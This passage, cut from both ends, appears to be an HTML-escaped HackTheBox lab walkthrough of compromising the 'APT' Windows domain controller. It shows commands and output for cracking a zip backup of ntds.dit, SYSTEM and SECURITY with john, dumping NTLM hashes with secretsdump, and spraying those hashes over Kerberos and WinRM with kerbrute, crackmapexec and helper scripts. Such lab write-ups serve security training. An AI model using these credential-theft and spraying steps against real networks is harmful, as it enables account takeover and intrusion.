4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip &amp;gt; passwd.hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NOTE: It is assumed that all files in each archive have the same password.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If that is not the case, the hash may be uncrackable. To avoid this, use&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;option -o to pick a file at a time.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only the important files required a password: ntds.dit, SYSTEM, and SECURITY.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip &amp;gt; passwd.hash -o ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Put the hash above into a file, then crack it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john ./hash --wordlist=/usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using default input encoding: UTF-8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Loaded 1 password hash (PKZIP [32/64])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Will run 8 OpenMP threads&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iloveyousomuch (backup.zip)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session completed.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Next I just needed to extract the NTLM hashes, and since WinRM was open, I should have been able to log straight in.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL &amp;gt; htlm.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were loads of accounts. I first extracted them, then prepared to brute-force them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp_htlm = open(&amp;#39;htlm.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in temp_htlm:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;,&amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if &amp;#39;endstop&amp;#39; in temp:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = temp.split(&amp;#39;:&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[0])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[3])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;userandpass.txt&amp;#39;,&amp;#39;a&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).write(temp[0]+&amp;#39;:&amp;#39;+temp[2]+&amp;#34;:&amp;#34;+temp[3]+&amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;users.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(temp[0] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;hashes.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(temp[2] + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I added a terminator. I didn&amp;rsquo;t need the other approach for now. This gave me user.txt and hashes.txt for brute-forcing. Trying every user against every hash would obviously be very slow, though. First I went after port 88 and used kerbrute to identify valid usernames. Then I could brute-force those usernames against hashes.txt, which made much more sense.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute userenum --dc htb.local -d htb.local users.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It had just spent ages brute-forcing without any response at all. Restarting the machine fixed it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of them worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were only three accounts, but finding them took a very long time—nearly twenty minutes of brute-forcing. All the default passwords were wrong. I planned to start with the bottom account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It stopped working again during the brute-force. This was already the third time. It recovered after a while, then stopped again. There was clearly an anti-brute-force mechanism here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If 445 wasn&amp;rsquo;t an option, I&amp;rsquo;d simply switch protocols. Port 88 wasn&amp;rsquo;t restricted, after all, and 5985 WinRM might not be restricted either, so it was worth testing. (The downside of WinRM is that the username and password might be correct, but if the account isn&amp;rsquo;t allowed to log in, there is no way to tell.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm htb.local -u 1.txt -H hashes.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp_htlm = open(&amp;#39;htlm.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in temp_htlm:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;,&amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if &amp;#39;endstop&amp;#39; in temp:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = temp.split(&amp;#39;:&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[0])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[3])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;henry.vinson&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;APT$&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;Administrator&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Kerbrute required username-and-hash pairs generated this way. I ran both brute-force attempts in parallel and waited.&lt;/p&gt;&#10;&lt;p&gt;I waited a long time and got no results. The problem with kerbrute may have been that I supplied a hash dictionary. I couldn&amp;rsquo;t find any online tutorials covering username/password brute-forcing, so I had written the arguments based on &lt;code&gt;-h&lt;/code&gt;. CrackMapExec most likely failed because the accounts weren&amp;rsquo;t allowed to log in through WinRM.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a tool in this blog that could brute-force hashes.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3gstudent/pyKerbrute/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3gstudent/pyKerbrute/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It kept throwing errors when I tried to run it, so I checked the failing line in the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Two tabs were missing, so the code wasn&amp;rsquo;t aligned inside the if statement. There was also an else below it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was bizarre. It looked fine in VS Code, but turned into this once I moved it over. Even if I manually fixed it, saving would change it back. I eventually got it sorted out. I think something was wrong with the tabs at the start, so I deleted them all and indented everything again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then another error appeared. I had no idea whether it would even work after I fixed it, but at that point it was still the only path forward. I searched for the error and found people saying it was caused by a version mismatch, but&amp;hellip;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The project shipped with its own copy. I only needed to import that bundled package, so I continued modifying the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I fixed the import, and it worked fine on Windows, but immediately failed on Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Following the advice there, I needed to delete every pyc file in that folder. Once they were gone, the script ran.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This error appeared because I passed a file path, which wasn&amp;rsquo;t what the script expected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After fixing that, another error appeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw the same error even under normal conditions, so this had nothing to do with my changes.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zhaijiahui/p/9597935.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zhaijiahui/p/9597935.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog described a solution. Here it is:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user_key = (RC4_HMAC, bytes.fromhex(temp))&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Another error:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I kept changing it and even migrated it from Python 2 to Python 3. I&amp;rsquo;m certain this code was fundamentally broken—there was no end to the fixes. This route might not work at all, so I decided to read a writeup.&lt;/p&gt;&#10;&lt;p&gt;One writeup used this exact tool. The author ran it with Python 2, and apparently it didn&amp;rsquo;t throw any errors. I couldn&amp;rsquo;t see enough details, such as the exact version, so I searched for other posts. Everything I found introduced ADPwdSpray.py and also used Python 2, but I simply couldn&amp;rsquo;t get it working.&lt;/p&gt;&#10;&lt;p&gt;Another writeup used getTGT. The idea was that getTGT accepts a hash and communicates over Kerberos. If it returned the right response, the hash was valid. I have to say, that was a great idea. In principle, it was no different from ADPwdSpray.py above, but I couldn&amp;rsquo;t use ADPwdSpray.py. So I wrote a Bash shell script instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 